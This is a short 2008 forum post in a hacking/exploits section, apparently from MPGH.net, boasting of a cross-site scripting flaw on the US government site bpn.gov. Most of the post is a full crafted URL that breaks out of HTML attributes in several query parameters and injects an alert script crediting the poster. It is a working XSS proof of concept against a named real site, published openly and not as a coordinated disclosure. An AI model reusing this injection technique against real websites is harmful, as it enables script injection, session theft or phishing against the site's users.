Home › Forum › Hacking › Exploits › bpn.gox XSS FOUND!!!

bpn.gox XSS FOUND!!!

RoB07 · 2008-02-19T22:02:02.000Z

Click to view bpn.gov XSS =) (https://www.bpn.gov/bincs/begin_search.asp?Error=[insert text here, no <> tags work here...]&CAGE='" size="5" maxlength="5"> [xss]&DUNS='" size="5" maxlength="5"> [xss]&COMPANY=FAKE%20OR%201'" size="5" maxlength="5"> alert('XSS found by Rob07 of MPGH.net'); [xss]&COSTATE=AK'" size="5" maxlength="5"> [xss]&JCP='" size="5" maxlength="5"> [xss]&PHONE=" size="5" maxlength="5"> [xss]&ZIP=12345" size="5" maxlength="5"> [xss]&SIC=1234" size="5" maxlength="5"> [xss]&SICSTATE=AK" size="5" maxlength="5"> [xss] <input type="text" onKeyPress="checkEnter(event)" onBlur="this.value=this.value.toUpperCase()" name="CAGE" value="asdfjjj)